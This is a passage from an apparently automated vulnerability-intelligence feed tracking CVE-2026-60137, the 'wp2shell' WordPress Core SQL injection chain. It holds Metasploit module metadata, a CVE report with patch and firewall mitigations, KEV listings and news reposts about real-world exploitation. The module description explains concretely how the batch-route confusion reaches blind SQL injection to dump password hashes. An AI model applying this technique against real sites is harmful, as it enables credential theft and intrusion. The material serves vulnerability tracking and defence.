8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"WordPress core 6.9.0 - 6.9.4 and 7.0.0 - 7.0.1 are affected by an unauthenticated\\n          SQL injection reachable through the REST API batch endpoint (/batch/v1).\\n\\n          The batch controller builds parallel $matches (the matched handler per sub-request)\\n          and $validation (the validation result per sub-request) arrays, then indexes both by\\n          the same offset when dispatching. A sub-request whose path fails wp_parse_url() is\\n          appended to $validation but not to $matches, desynchronising the two arrays so a\\n          sub-request is dispatched under a different sub-request's handler (CVE-2026-63030).\\n\\n          Nesting the primitive twice lets a GET on the single-post item route\\n          /wp/v2/posts/999999, carrying the collection-only parameter author_exclude, be\\n          dispatched under the posts collection get_items() handler, where author_exclude maps\\n          to the WP_Query author__not_in query var. The vulnerable builds interpolate that value\\n          into SQL as a string (CVE-2026-60137), producing a pre-authentication boolean- and\\n          time-based blind SQL injection in the post_author NOT IN (...) clause.\\n\\n          This module confirms the route-confusion primitive with a benign marker probe, then\\n          uses a time-based blind injection to dump WordPress user logins and password hashes.\\n          It is read-only and does not create posts, users, or other content.\", \"disclosure_date\": \"2026-07-17\", \"fullname\": \"auxiliary/scanner/http/wordpress_wp2shell_sqli\", \"is_install_path\": true, \"mod_time\": \"2026-08-16 12:54:09 +0000\", \"name\": \"WordPress Core wp2shell Unauthenticated SQL Injection via REST Batch Route Confusion\", \"needs_cleanup\": false, \"notes\": {\"RelatedModules\": [\"exploit/multi/http/wp_batch_desync_rce\"], \"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/wordpress_wp2shell_sqli\", \"references\": [\"CVE-2026-63030\", \"CVE-2026-60137\", \"URL-https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/\", \"URL-https://blog.zsec.uk/wp2shell-code-trace-deep-dive/\", \"URL-https://github.com/Icex0/wp2shell-poc\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/wordpress_wp2shell_sqli.rb"}, {"timestamp": "2026-09-16T13:01:54.533Z", "date_only": false, "value": "2026-09-16T13:01:54.533652Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/alon710/8bb76681f888e7031338e0a8853407f6", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9cb9167d-957e-44ba-8c67-aea58e557668", "content": "# CVE-2026-60137: CVE-2026-60137: SQL Injection in WordPress Core WP_Query Class via author__not_in Parameter\n\n> **CVSS Score:** 5.9\n> **Published:** 2026-07-17\n> **Full Report:** https://cvereports.com/reports/CVE-2026-60137\n\n## Summary\nCVE-2026-60137 is a critical SQL injection vulnerability in the Core component of WordPress. The flaw occurs within the WP_Query class during the processing of the author__not_in parameter, where user-supplied array inputs are constructed into a SQL string without strict integer type-casting. When chained with CVE-2026-63030, an unauthenticated remote attacker can exploit this SQL injection to read database values, extract administrator credential hashes, or modify administrative options to execute arbitrary PHP code on the server.\n\n## TL;DR\nWordPress Core contains an SQL injection vulnerability in the WP_Query class when parsing author__not_in parameters. When chained with CVE-2026-63030, unauthenticated attackers can execute arbitrary SQL and escalate privileges to Remote Code Execution.\n\n## Exploit Status: ACTIVE\n\n## Technical Details\n\n- **CWE ID**: CWE-89\n- **Attack Vector**: Network\n- **CVSS Base Score**: 5.9 (Standalone) / 9.8 (Chained)\n- **Exploit Status**: active\n- **CISA KEV Status**: Listed\n- **EPSS Score**: 0.78305\n\n## Affected Systems\n\n- WordPress Core 6.8.0 through 6.8.5\n- WordPress Core 6.9.0 through 6.9.4\n- WordPress Core 7.0.0 through 7.0.1\n- **WordPress Core**: >= 6.8.0, < 6.8.6 (Fixed in: `6.8.6`)\n- **WordPress Core**: >= 6.9.0, < 6.9.5 (Fixed in: `6.9.5`)\n- **WordPress Core**: >= 7.0.0, < 7.0.2 (Fixed in: `7.0.2`)\n\n## Mitigation\n\n- Upgrade WordPress Core immediately to a patched version\n- Disable or block unauthorized access to the REST API batch routes\n- Implement restrictive WAF rules to detect nested array manipulations in REST requests\n\n**Remediation Steps:**\n1. Access the administrative control panel of the WordPress installation.\n2. Navigate to the Updates section and select Update Now to apply the latest security version.\n3. For headless or automated deployments, update the composer.json or version lockfiles to reference 6.8.6, 6.9.5, or 7.0.2.\n4. Configure the Web Application Firewall to block POST requests directed at /wp-json/batch/v1 and /?rest_route=/batch/v1.\n\n## References\n\n- [WordPress Core Advisory (GHSA-fpp7-x2x2-2mjf)](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf)\n- [WordPress 7.0.2 Security Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)\n- [CISA KEV Catalog Reference](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60137)\n- [Searchlight Cyber Research on wp2shell](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)\n- [Aikido Security Blog Analysis](https://www.aikido.dev/blog/unauthenticated-rce-in-wordpress-wp2shell)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-60137) - Automated Vulnerability Intelligence*", "url": "https://gist.github.com/alon710/8bb76681f888e7031338e0a8853407f6"}, {"timestamp": "2026-09-18T08:00:06.027Z", "date_only": false, "value": "2026-09-18T08:00:06.027643Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/VulnerabilityNews/43589", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "dd7d0637-79b1-4d22-aa31-e9a0caddde70", "content": "CISA Adds Four Known Exploited Vulnerabilities to Catalog \n\nCISA has added four new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\nCVE-2021-27137 DD-WRT Stack-Based Buffer Overflow Vulnerability\nCVE-2026-0770 Langflow Inclusion of Functionality from Untrusted Control Sphere Vulnerability \u00a0\nCVE-2026-63030 WordPress Core Interpretation Conflict Vulnerability \u00a0\nCVE-2026-60137 WordPress Core SQL Injection Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\nBinding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA\u2019s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.\nWhile BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nAware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA\u2019s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance.\nhttps://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog", "url": "https://t.me/VulnerabilityNews/43589"}, {"timestamp": "2026-09-18T08:00:06.755Z", "date_only": false, "value": "2026-09-18T08:00:06.755650Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/VulnerabilityNews/43573", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "dd741990-2d29-44ab-bc2f-dee9e2381389", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/VulnerabilityNews/43573"}, {"timestamp": "2026-09-18T20:00:03.863Z", "date_only": false, "value": "2026-09-18T20:00:03.863870Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/102695", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "816a8432-a9d3-494a-bfd0-0fb5dbcb94e1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a arvindear\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 16:57:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/102695"}, {"timestamp": "2026-09-19T00:00:10.176Z", "date_only": false, "value": "2026-09-19T00:00:10.176498Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/102695", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "dd995d4e-b57c-4b71-ad05-01278f931e52", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a arvindear\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-18 16:57:56\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/102695"}, {"timestamp": "2026-09-19T00:00:42.673Z", "date_only": false, "value": "2026-09-19T00:00:42.673174Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/VulnerabilityNews/43573", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "56be78e9-749e-4e41-9947-a0dda56987c5", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/VulnerabilityNews/43573"}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "enisa-cnw-kev", "record": "CVE-2026-60137", "field": "timestamps.asserted_at", "uuid": "f656b1ad-f560-4fb9-a97c-0d82befc49fc", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "enisa-cnw-kev", "record": "CVE-2026-60137", "field": "timestamps.first_seen_at", "uuid": "f656b1ad-f560-4fb9-a97c-0d82befc49fc", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-21T00:00:00Z", "date_only": false, "value": "2026-09-21T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "enisa-cnw-kev", "record": "CVE-2026-60137", "field": "status.status_updated_at", "uuid": "f656b1ad-f560-4fb9-a97c-0d82befc49fc", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-09-22T07:00:11.565Z", "date_only": false, "value": "2026-09-22T07:00:11.565340Z", "kind": "sighting", "label": "Seen", "source": "Telegram/RS5m0OdVynqfpAXslopdUI2FReOGMsRVPyHSkkL3z1_1Kmc", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "80ba4dc4-768e-4cf1-ba88-6e2f543b84d5"}, {"timestamp": "2026-09-22T09:00:04.348Z", "date_only": false, "value": "2026-09-22T09:00:04.348334Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/14861", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1be79f6a-404b-44b5-9e9f-cf6ed71e5ad1", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/TengkorakCyberCrewzz/14861"}, {"timestamp": "2026-09-22T09:00:04.451Z", "date_only": false, "value": "2026-09-22T09:00:04.451259Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/16676", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a05b5574-f300-4685-a4ed-d5c8b733d01a", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/16676"}, {"timestamp": "2026-09-22T10:00:05.385Z", "date_only": false, "value": "2026-09-22T10:00:05.385993Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/MalaysiaHacktivistz/26064", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5ed4a1e4-b398-4e8a-9713-fb3cdd64a92e", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/26064"}, {"timestamp": "2026-09-22T10:32:48.184Z", "date_only": false, "value": "2026-09-22T10:32:48.184558Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mw3zlnxsjr2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "bb80d1d5-b371-4a16-97ae-53720a7af3a4", "content": "18,566 gov records, plaintext passwords stolen via WordPress CVE-2026-63030 & CVE-2026-60137. Patch now. #WordPress #DataBreach #CyberAttack #SecurityNews #GovTech #PatchNow https://thedailytechfeed.com/wordpress-flaws-lead-to-theft-of-18566-gov-records-plaintext-passwords/", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mw3zlnxsjr2o"}, {"timestamp": "2026-09-23T00:00:11.154Z", "date_only": false, "value": "2026-09-23T00:00:11.154227Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/RS5m0OdVynqfpAXslopdUI2FReOGMsRVPyHSkkL3z1_1Kmc", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3104b0fe-51d0-4a66-a011-ca74877629d8"}, {"timestamp": "2026-09-23T00:00:12.997Z", "date_only": false, "value": "2026-09-23T00:00:12.997290Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/MalaysiaHacktivistz/26064", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0da87891-1baf-4b08-bcbf-a4c6712d7f05", "content": "Hackers Exploit WordPress CVE-2026-63030 and CVE-2026-60137 to Steal Government Data \u2013 gbhackers.com\n\nTue, 22 Sep 2026 14:40:37", "url": "https://t.me/MalaysiaHacktivistz/26064"}, {"timestamp": "2026-09-23T15:30:07Z", "date_only": false, "value": "2026-09-23T15:30:07.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/8640", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f42a2b42-40a9-4efb-a534-61f45eb015c0", "content": "\u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 wp2shell \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u044b\u043a\u0440\u0430\u0432 \u0431\u043e\u043b\u0435\u0435 18 000 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0430\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f.\n\n\u041e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u043e\u0441\u044c GreyNoise \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0441\u0432\u043e\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f (GOG). \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439, \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u044e\u043d\u044f 2026, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0430\u0442\u0430\u043a\u0438, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u043e\u0442 7 \u043c\u0430\u044f, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043e\u0434\u043d\u043e\u043c\u0443 \u0438 \u0442\u043e\u043c\u0443 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 GreyNoise, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0435\u043c \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e \u044f\u0437\u044b\u043a\u0430 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u0447\u0430\u0441\u043e\u0432\u043e\u043c \u043f\u043e\u044f\u0441\u0435 UTC+8, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0433\u0440\u0430\u0444\u0438\u043a\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u043d\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u0438 \u0441 Red Heron, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 Acronis, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u04212, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0438 \u0441\u0445\u0435\u043c\u044b \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 20 \u0438\u044e\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043d\u0430\u0447\u0430\u043b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0430\u0442\u0430\u043a \u043d\u0430 WordPress, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0443\u044e \u043a\u0430\u043a wp2shell (CVE-2026-63030 \u0438 CVE-2026-60137). GreyNoise \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 49 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0432 29 \u0441\u0442\u0440\u0430\u043d\u0430\u0445, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u0442\u043e \u043c\u0430\u043b\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0438 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0441\u0430\u0437\u0430\u043d\u043e \u0441 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c \u043c\u0435\u0442\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u0437\u043b\u043e\u043c\u0430\u043b \u0441\u0430\u0439\u0442 WordPress 22 \u0438\u044e\u043b\u044f, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0441\u043e\u0437\u0434\u0430\u043b \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\u0417\u0430\u0442\u0435\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 SQL.\n\n\u042d\u0442\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 18 566 \u0437\u0430\u043f\u0438\u0441\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445, \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435 \u0438 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 